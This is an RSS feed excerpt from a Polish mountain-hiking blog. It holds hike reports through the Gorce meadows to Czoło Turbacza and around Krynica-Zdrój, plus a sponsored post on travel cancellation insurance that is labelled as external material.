<p>Zaś w zachodnim na Pasmo <a href="https://marekowczarz.pl/przez-mosorny-gron-i-police-na-hale-krupowa-i-okraglice/">Policy</a> i Babią Górę. W lesie powyżej polany znajdują się skalne wychodnie. Tak doszliśmy na niezwykłą Polanę Pustak, gdzie postawiono stół z drewnianymi ławami. Ponieważ można urządzić sobie tutaj piknik i długo delektować się pięknem natury&#8230; 🙂 Położona jest już na wysokości 1215–1235 m n.p.m. Szeroka panorama widokowa obejmuje Jaworzynę Kamienicką, pobliską Mostownicę, położony za nią Turbacz i Czoło Turbacza. Horyzont zamykają Tatry. Ponadto widoczne są jeszcze inne szczyty Gorców, a także <a href="https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/">Beskid Sądecki</a>, Pieniny, Magura Spiska i Pasmo Babiogórskie!</p>
<div id="attachment_53374" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53374" class="size-full wp-image-53374" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-18-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53374" class="wp-caption-text">GGG na Polanie Pustak</p></div>
<p>Wszystko to przy dobrej pogodzie oczywiście, która nam sprzyjała tej pamiętnej niedzieli! Zatem obowiązkowo zrobiliśmy tu grupowe fotki&#8230; Na polanie Gorczański Park Narodowy zamontował dużą tablicę informacyjną z panoramą oglądanych z niej szczytów oraz opisem samej polany. Tutaj zmieniliśmy szlak na żółty i nim podążaliśmy ostro w dół, w zimowej scenerii na Polanę Przysłopek. Ta nieduża polana i przełęcz w Gorcach znajduje się na grzbiecie łączącym Przysłopek (1123 m) z <a href="https://marekowczarz.pl/gorczanska-wyrypa-przez-gorca-i-kudlonia-na-turbacza/">Kudłoniem</a>. Kilka lat temu ktoś postawił sobie na niej ładną góralską chatkę&#8230;</p>
<div id="attachment_53375" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53375" class="size-full wp-image-53375" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-20-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53375" class="wp-caption-text">Polana Przysłopek</p></div>
<p>Z przełęczy musieliśmy znów podchodzić w górę, by przewinąć się pod kulminacją Przysłopka i znowu zejść kawałek na pobliską Przeł. Borek, gdzie jest duża krzyżówka szlaków. Jest tu niewielka polanka z ławką dla turystów i zamontowana przez park tablica dydaktyczna z mapą Gorców i opisami szlaków. Przełęcz Borek jest bardzo głęboko wcięta w grzbiet gór. Jej zbocza opadają po wschodniej stronie do doliny Kamienickiego Potoku, a po zachodniej do potoku Kania (dopływ Koniny). Dawniej chodzili nią kłusownicy i zbójnicy, a podczas drugiej wojny światowej partyzanci.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53376" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-4-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>My nadal kontynuowaliśmy wędrówkę żółtym szlakiem, by długim i żmudnym podejściem dotrzeć na Czoło Turbacza, leżące na wysokości 1259 m. Wcześniej jednak weszliśmy na olbrzymią i rozległą Halę Turbacz! Dawniej tętniła intensywnym życiem pasterskim. Na obrzeżach polany znajduje się niszczejący szałas. Wiosną na polanie obficie zakwitają krokusy, czego doświadczyliśmy sami na żywo. Na środku polany znajduje się stylizowany na wzór wejścia do szałasu polowy ołtarz z pamiątkową tablicą.</p>
<div id="attachment_53377" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53377" class="size-full wp-image-53377" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-29-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53377" class="wp-caption-text">Szałasowy ołtarz</p></div>
<p>Ustawiono go tutaj w 2003 na miejscu dawnego szałasu pasterskiego, w którym Karol Wojtyła 17 września 1953 odprawił mszę św. dla gorczańskich pasterzy oraz turystów. Uczynił to twarzą do wiernych, a było to na 10 lat przed Soborem Watykańskim II, który zreformował liturgię. Odwiedziłem to niezwykłe miejsce kolejny raz, ale zawsze tak samo czuję mistykę tej miejscówki! Ołtarz ma formę drewnianej bramy z zadaszeniem, w której umocowana jest deska. Po jednej stronie ołtarza znajduje głaz, na którym znajduje się kamienna tablica pamiątkowa upamiętniająca wydarzenie, a po drugiej 7-metrowy krzyż.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-32.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-53378" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-32-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-32-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-32-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-32.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a></p>
<p>Każdego roku w trzecią niedzielę września o godzinie 9:00, przy ołtarzu odprawiana jest tutaj msza św. My zrobiliśmy sobie tu przerwę obiadową, by odbić potem na zielony szlak. Po chwili byliśmy na kulminacji Czoła Turbacza, gdzie w oczy rzuca się Diabelski Kamień, z tablicą poświęconą ratownikom GOPR. Znajduje się on od południowej strony wierzchołka, jest to charakterystyczna grzęda skalna gruboławicowych zlepieńców. Tworzy ona próg, nazywany właśnie Diabelskim Kamieniem, o wysokości ok. 1,7 m i długości 5 m. Stąd schodziliśmy w dół, by po chwili na rozejściu szlaków odbić w prawo.&nbsp;</p>
<div id="attachment_53379" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53379" class="size-full wp-image-53379" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-36-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53379" class="wp-caption-text">Diabelski Kamień z prawej</p></div>
<p>Z Czoła Turbacza i Hali Turbacz rozciągają się rozległe widoki na Halę Długą z Tatrami na drugim planie. Natomiast z Polany Czoło, gdzie było owo rozejście znowu mogliśmy oglądać wspaniałą panoramę Beskidu Wyspowego. Poniżej krzyżówki szlaków jest źródełko. Schodziliśmy odtąd po zalodzonej ścieżce w ubranych raczkach turystycznych. Zeszliśmy tak na grzbiet Kopieńca, by ponownie się wspinać dosyć stromo na Wierch Spalone. Szczyt Kopieńca porośnięty jest wiekową puszczą. Zachował się tutaj drzewostan z bardzo starymi okazami buków. Szlak trawersuje go z prawej strony&#8230;</p>
<div id="attachment_53380" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53380" class="size-full wp-image-53380" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-40-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53380" class="wp-caption-text">widoki z Polany Czoło</p></div>
<p>Potem wchodzi na wspomniany wierzchołek Wierchu Spalone (1091 m). Tuż pod szczytem leży tu nieduża polana reglowa Spalone. Nieco poniżej przebiegającej przez polanę ścieżki znajduje się ruina starego szałasu. Polanę otacza las ze starym drzewostanem, dawniej, przed utworzeniem Gorczańskiego Parku Narodowego obszar ten należał bowiem do rezerwatu „Turbacz”. Z polany mamy ograniczone widoki na wzniesienia Beskidu Wyspowego. Szlak prowadził dalej przez Polanę Solnisko, a później trawersował kulminację Turbaczyka (1078 m) wyprowadzając na Polanę Turbaczyk&#8230;</p>
<div id="attachment_53381" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53381" class="size-full wp-image-53381" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-53-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53381" class="wp-caption-text">na Polanie Turbaczyk</p></div>
<p>To kolejna niesamowita miejscówka w Gorcach z panoramą zapierającą dech w piersiach! Przy krzyżówce szlaków trzeba odbić w lewo do punktu widokowego, gdzie postawiono ławki ze stołem. Polana ma powierzchnię 11,74 ha. Była systematycznie koszona i wypasana jeszcze w latach 70. XX w. Charakteryzuje się dużą różnorodnością biologiczną – naliczono tutaj aż 14 różnych zbiorowisk roślinności. Pod lasem stoi tutaj niszczejący szałas. Polana znana jest od dawna z walorów widokowych. Poniżej filmik z tego miejsca&#8230; 🙂</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" title="YouTube video player" src="https://www.youtube.com/embed/OIwP3HDsoJI?si=4VnDl1LciJnhYLrR" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Panorama obejmuje Babią Górę z Pasmem Babiogórskim, Beskid Makowski, <a href="https://marekowczarz.pl/przez-12-hal-i-polan-zywiecczyzny-od-rycerzowej-po-rysianke/">Beskid Żywiecki</a>, Beskid Wyspowy oraz pobliski szczyt Kudłonia. Na polanie umieszczono opracowaną przez Gorczański Park Narodowy tablicę informacyjną z opisem oglądanych szczytów. Obok tablicy zachował się znak pomiarowy z 1823, świadectwo pomiarów triangulacyjnych dokonywanych wówczas przez austriackich kartografów. Zrobiliśmy tu sobie długą sjestę, by delektować się do woli tym magicznym pięknem, jakie przygotowała nam Matka Natura podczas genialnej popołudniowej pogody i przejrzystości powietrza!</p>
<div id="attachment_53382" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53382" class="size-full wp-image-53382" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-50-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53382" class="wp-caption-text">stary znak pomiarowy</p></div>
<p>Zostało nam stąd tylko zejście czarnym szlakiem z powrotem do Koniny. Po długim odpoczynku i podziwianiu majestatycznych widoków ruszyliśmy w dół. Przecięliśmy po drodze ścieżkę spacerową, by dojść do pierwszych zabudowań na skraju lasu. Z łąki, którą schodziliśmy na parking mieliśmy ostatnie malownicze widoczki na urokliwe pejzaże. Na sam koniec przed dojściem do samochodów ukazał się nam jeszcze cały łan krokusów&#8230; 🙂 I tak mega szczęśliwi doszliśmy do celu tej cudownej wędrówki!</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/nucugurove" width="700" height="466" frameborder="0"></iframe></p>
<p>Tak zakończyła się kolejna niezwykła górska przygoda z wesołą ekipą <a href="https://marekowczarz.pl/konkurs-na-osobowosc-roku-2017-oraz-troche-historii-bloga-i-gorlickiej-grupy-gorskiej/">Gorlickiej Grupy Górskiej</a>! Na zakończenie jak zawsze zapraszam do obejrzenia galerii zdjęć z wypadu i czytania innych wpisów na blogu. Powyżej zostawiam również mapkę naszej trasy na około 18 km&#8230; A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez <a href="https://cuplink.to/marcogor">serwis Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
 [<a href="https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/">See image gallery at marekowczarz.pl</a>] 
<p>&nbsp;</p>The post <a href="https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/">Wypad przez gorczańskie polany na Czoło Turbacza i Turbaczyk</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Planowanie podróży krok po kroku &#8211; rola ubezpieczenia od rezygnacji z podróży</title>
		<link>https://marekowczarz.pl/planowanie-podrozy-krok-po-kroku-rola-ubezpieczenia-od-rezygnacji-z-podrozy/</link>
					<comments>https://marekowczarz.pl/planowanie-podrozy-krok-po-kroku-rola-ubezpieczenia-od-rezygnacji-z-podrozy/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 21 Mar 2026 20:39:44 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Górski news]]></category>
		<category><![CDATA[ubezpieczenie podróżnicze]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53358</guid>

					<description><![CDATA[<p>Planowanie podróży potrafi być równie ekscytujące jak sam wyjazd. Wybór kierunku, szukanie noclegów, przeglądanie zdjęć i rekomendacji sprawiają, że wakacyjna atmosfera zaczyna się na długo przed wylotem. W tym procesie warto pamiętać także o rozwiązaniach, które pomagają zachować spokój w przypadku zmiany planów. Od pomysłu do rezerwacji Każda podróż zaczyna się od inspiracji. Czasem jest [&#8230;]</p>
The post <a href="https://marekowczarz.pl/planowanie-podrozy-krok-po-kroku-rola-ubezpieczenia-od-rezygnacji-z-podrozy/">Planowanie podróży krok po kroku – rola ubezpieczenia od rezygnacji z podróży</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><span style="font-weight: 400;"><em><strong>Planowanie</strong></em> podróży potrafi być równie ekscytujące jak sam wyjazd. Wybór kierunku, szukanie noclegów, przeglądanie zdjęć i rekomendacji sprawiają, że wakacyjna atmosfera zaczyna się na długo przed wylotem. W tym procesie warto pamiętać także o rozwiązaniach, które pomagają zachować spokój w przypadku zmiany planów.</span><span id="more-53358"></span></p>
<h2><span style="font-weight: 400;">Od pomysłu do rezerwacji</span></h2>
<p><span style="font-weight: 400;">Każda podróż zaczyna się od inspiracji. Czasem jest to zdjęcie z mediów społecznościowych, artykuł podróżniczy albo polecenie znajomych. Kolejnym krokiem jest wybór terminu i sprawdzenie dostępności lotów oraz noclegów. Gdy wszystko zaczyna układać się w spójną całość, przychodzi moment na dokonanie rezerwacji.</span></p>
<p><span style="font-weight: 400;">Wiele osób decyduje się na zakup wyjazdu z wyprzedzeniem, aby skorzystać z atrakcyjnych cen i większego wyboru ofert. Właśnie wtedy pojawia się również temat zabezpieczenia samej rezerwacji. Ubezpieczenie od rezygnacji z podróży (<a href="https://www.ergo-ubezpieczeniapodrozy.pl/ubezpieczenia/koszty-rezygnacji-z-podrozy/">https://www.ergo-ubezpieczeniapodrozy.pl/ubezpieczenia/koszty-rezygnacji-z-podrozy/</a>) pozwala lepiej uporządkować kwestie finansowe związane z wcześniej opłaconym wyjazdem.</span></p>
<h2><span style="font-weight: 400;">Gdy plan powstaje z dużym wyprzedzeniem</span></h2>
<p><span style="font-weight: 400;">Rezerwując podróż kilka miesięcy wcześniej, zyskujesz komfort spokojnego przygotowania. Możesz zaplanować trasę zwiedzania, sprawdzić lokalne atrakcje i zapoznać się z kulturą miejsca, do którego się wybierasz. Taki sposób organizacji podróży daje też większą swobodę wyboru.</span></p>
<p><span style="font-weight: 400;">Jednocześnie długi czas między rezerwacją, a wyjazdem oznacza, że w tym okresie wiele rzeczy może się zmienić. Właśnie dlatego coraz więcej osób uwzględnia w swoich przygotowaniach ubezpieczenia od rezygnacji z podróży, traktując je jako element odpowiedzialnego planowania.</span></p>
<h2><span style="font-weight: 400;">Spokojne przygotowania to większa przyjemność</span></h2>
<p><span style="font-weight: 400;">Planowanie wyjazdu to nie tylko lista zadań do wykonania. To również moment budowania oczekiwań i wyobrażeń o miejscu, które zamierzasz odwiedzić. Wyszukiwanie lokalnych restauracji, atrakcji czy tras spacerowych pozwala powoli wchodzić w klimat podróży.</span></p>
<p><span style="font-weight: 400;">Kiedy masz poczucie, że organizacja wyjazdu jest dobrze przemyślana, łatwiej cieszyć się tym etapem przygotowań. Ubezpieczenie od rezygnacji z podróży nie zmienia planu, ale daje poczucie większej kontroli nad sytuacją w okresie między rezerwacją a wyjazdem.</span></p>
<h2><span style="font-weight: 400;">Podróż zaczyna się w momencie planowania</span></h2>
<p><span style="font-weight: 400;">Dobrze zaplanowany wyjazd to taki, który uwzględnia zarówno przyjemną część podróży, jak i kwestie organizacyjne. Właśnie dlatego coraz więcej osób traktuje przygotowanie do podróży jako proces składający się z kilku przemyślanych kroków.</span></p>
<p><span style="font-weight: 400;">Gdy wszystkie elementy są dopracowane, łatwiej skupić się na tym, co najważniejsze &#8211; odkrywaniu nowych miejsc, poznawaniu lokalnej kultury i przeżywaniu doświadczeń, które zostają w pamięci na długo po powrocie.</span></p>
<p>&#x2663;&#x2660;&#x2663;&#x2666;&#x2665;</p>
<p>Materiał zewnętrzny</p>The post <a href="https://marekowczarz.pl/planowanie-podrozy-krok-po-kroku-rola-ubezpieczenia-od-rezygnacji-z-podrozy/">Planowanie podróży krok po kroku – rola ubezpieczenia od rezygnacji z podróży</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/planowanie-podrozy-krok-po-kroku-rola-ubezpieczenia-od-rezygnacji-z-podrozy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Spacer wokół Krynicy z wejściem na wieżę na Górze Parkowej</title>
		<link>https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/</link>
					<comments>https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 14 Mar 2026 19:47:59 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Beskid Sądecki]]></category>
		<category><![CDATA[Opis krajoznawczy]]></category>
		<category><![CDATA[drabiakówka]]></category>
		<category><![CDATA[góra krzyżowa]]></category>
		<category><![CDATA[góra parkowa]]></category>
		<category><![CDATA[hawrylakówka]]></category>
		<category><![CDATA[huzary]]></category>
		<category><![CDATA[jaworzynka]]></category>
		<category><![CDATA[krynica-zdrój]]></category>
		<category><![CDATA[słotwiny]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53274</guid>

					<description><![CDATA[<p>Wypad w Beskid Sądecki z GGG z okazji Dnia Kobiet i spacer wokół Krynicy- Zdrój przez 6 szczytów z kulminacją na wieży widokowej na Górze Parkowej.</p>
The post <a href="https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/">Spacer wokół Krynicy z wejściem na wieżę na Górze Parkowej</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Tradycyjnie</strong></em>, jak co roku Dzień Kobiet świętowałem z moją Gorlicką Grupą Górską na górskim szlaku&#8230; Bo gdzie lepiej celebrować takie święta, gdy wszystkich nas łączy wspólna pasja? Jako, że był to zarazem rozruch po zimie wybrałem łatwą trasę niedaleko od domu! Tegoroczny marzec rozpieszcza nas pogodą i słonecznymi dniami. Zatem warunki do wędrówki mieliśmy wspaniałe, choć miejscami w lesie nadal zalega lód. Nie przeszkodziło to fantastycznej 23-os. ekipie pokonać 2o km fajnej pętli wokół Krynicy- Zdroju. Po drodze weszliśmy na sześć szczytów kończąc trasę w uzdrowisku na wspólnym obiedzie! <span id="more-53274"></span></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-e1773774138549.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53280" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-e1773774138549.jpg" alt="" width="1600" height="720"></a></p>
<p>Kulminacją naszej eskapady było wejście na nową wieżę widokową na Górze Parkowej, skąd rozpościera się naprawdę genialna panorama&#8230; I to nic, że niebo trochę zasnuły chmury. 🙂 Ale po kolei&#8230;Spotkaliśmy się w centrum Krynicy, by zostawić auta na jednym z parkingów. Z niego od razu wyruszyliśmy pod górę zalodzoną ścieżką wyprowadzającą przez osiedle, a potem las w okolice Góry Krzyżowej. Po drodze minęliśmy pozostałości dawnej skoczni narciarskiej, jednej z pierwszych w kraju! Jest tam tablica informacyjna z opisem miejsca. Stamtąd już niedaleko było na wierzchołek mający 812 m.&nbsp;</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53281" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-25-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Na szczycie jest górna stacja kolejki kanapowej, bowiem jest tam mały stok narciarski. Stoi też tam drewniany krzyż spod którego mamy ładną panoramę miasta w dole. Obok ustawiono także tablicę upamiętniającą ks. Józefa Andrasza- spowiednika św. Faustyny, ot taka ciekawostka&#8230; Ruszyliśmy dalej żółtym szlakiem, który prowadził nas od samego początku. Na Przeł. Krzyżowej dołączył niebieski z Krynicy oraz zielony- prowadzący w kierunki Jaworzyny Krynickiej, której widok towarzyszył nam prawie przez cały dzień! Wygodny szlak grzbietowy doprowadził nas szybko do areałów narciarskich Słotwin!</p>
<div id="attachment_53282" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53282" class="wp-image-53282 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-37-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53282" class="wp-caption-text">ścieżka w koronach drzew Słotwiny</p></div>
<p>Przy nartostradach stoi górna stacja kolejki oraz słynna ścieżka w koronach drzew zwieńczona potężną wieżą widokową. Ale tym razem nie była ona naszym celem. Mieliśmy do pokonania jeszcze długi kawałek trasy&#8230; 🙂 Poza tym widoki mogliśmy podziwiać z pięknej polany chwilę wcześniej, gdzie zrobiliśmy samopas na drugie śniadanie. Idąc dalej osiągnęliśmy niewielką kulminację Drabiakówki (892 m) poniżej której było rozejście szlaków. Niebieski wraz z czerwonym odbijały w lewo w stronę Runka i Wierchomli, my skręciliśmy w prawo schodząc łagodnie na Przeł. Białą.</p>
